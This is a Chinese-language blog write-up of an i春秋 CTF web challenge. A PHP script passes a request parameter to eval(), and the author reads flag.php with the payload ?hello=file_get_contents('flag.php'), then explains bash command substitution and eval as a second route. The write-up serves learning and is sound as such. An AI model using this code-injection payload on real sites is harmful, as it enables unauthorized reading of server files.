暑期练习web2：MISC web2（i春秋）

原创

何家公子 于 2018-07-31 19:08:13 发布 227 收藏

分类专栏： ctf web 文章标签： web ctf

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/qq_41618162/article/details/81318814

版权

ctf 同时被 2 个专栏收录

32 篇文章 0 订阅

订阅专栏

web

32 篇文章 0 订阅

订阅专栏

和第一题一样的开始（代码解读可看我上一篇wp）

```php
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
```

但这次题目的hint是：flag不在变量中

flag既然不在变量之中，那自然就在文件中喽

这时候或许一些同学就会想到文件包含那方面的知识，这里讲一下。

开头就有个**include “flag.php”**这里表示include已经将flag.php固定了。

有同学就要问了：固定了是虾米呀？

简单举个例子

文件包含用c语言不准确描述就是

```
int hello
scanf hello
a=include hello
print a
```

这里我们输入到hello的东西最后输出出来了

而本题呢

```
这题是
int hello
scanf hello
a=eval hello
print a
```

我们传的hello根本没有作为include函数的参数啊
所以说include固定了flag.php,它只读取这里面的东西。因此，本题主要考察的是eval
我们利用**file_get_contents**,这个函数的作用是将整个文件内容读入到一个字符串中
通过这个我们试着读取flag.php中的内容
payload为：**http://40aabd8c7282430db3f5ad1b195233db1587c90e0ab54614.game.ichunqiu.com/?hello=file_get_contents('flag.php')**

```
bool(false) <?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
```

https://blog.csdn.net/qq_41618162

我们查看一下源码

```
1 string(83) "<?php
2 $flag = 'Too Young Too Simple';
3 #flag{5572dbf2-d2e9-4633-9e9d-9251c18a9462};
4 "
5 <code><span style="color: #000000">
6 <span style="color: #0000BB">&lt;?php<br /></span><span style="color: #007700">include </span><span st
7 </span>
8 </code>
```

https://blog.csdn.net/qq_41618162

得到了flag
另一种方法则是利用了linux的指令，并通过eval作命令执行；

$( )与` `(反引号)

在bash shell中，$( )与` `(反引号)都是用来做命令替换(command substitution)用的。

```
[huangjia@www 第六天]$ echo pwd
pwd
[huangjia@www 第六天]$ echo `pwd`
/home/huangjia/itcast/网络编程/第六天
[huangjia@www 第六天]$ echo $(pwd)
/home/huangjia/itcast/网络编程/第六天
```

```
[huangjia@www 第六天]$ VAR=date
[huangjia@www 第六天]$ echo $VAR
date
[huangjia@www 第六天]$ VAR=`date`
[huangjia@www 第六天]$ echo $VAR
```

```
Wed Jun 21 08:49:49 PDT 2017
[huangjia@www 第六天]$ VAR=$(date)
[huangjia@www 第六天]$ echo $VAR
Wed Jun 21 08:50:12 PDT 2017
```

命令替换：

echo pwd 这里的pwd就是一个字符串不是命令，所以输出的就是pwd这个字符串，$()和反引号将字符串解释成命令了，

而eval这个函数先进行替换，再执行命令

二、eval

功能说明：告知shell取出eval的参数，重新运算求出参数的内容。
语　　法：eval [参数]
补充说明：eval可读取一连串的参数，然后再依参数本身的特性来执行。
参　　数：参数不限数目，彼此之间用分号分开。

1.eval首先扫描命令行进行所有的替换，然后再去执行命令。这个命令用于那些一次扫描无法实现它功能的变量，这个变量进行两次扫描，这些需要进行两次扫描的变量也叫做复杂变量。

```
command="cat text.txt"
echo $command
eval $command
```

运行结果：

```
[admin@localhost code]$ ./test.sh
cat text.txt
"hello world"
"hello world"
```

这个eval和echo的区别eval首先进行一遍扫描，进行变量的替换，然后进行第二次扫描，进行执行替换后的命令

https://blog.csdn.net/qq_41618162

而cat是linux中读取文件的一个命令，所以和第一个方法类似

总结：这题就是要根据hint猜到flag是放在了文件中，所以我们要想办法读取文件，而我们也要辨别这到底是文件包含，还是利用其他方式来读取文件

创作打卡挑战赛
赢取流量/现金/CSDN周边激励大奖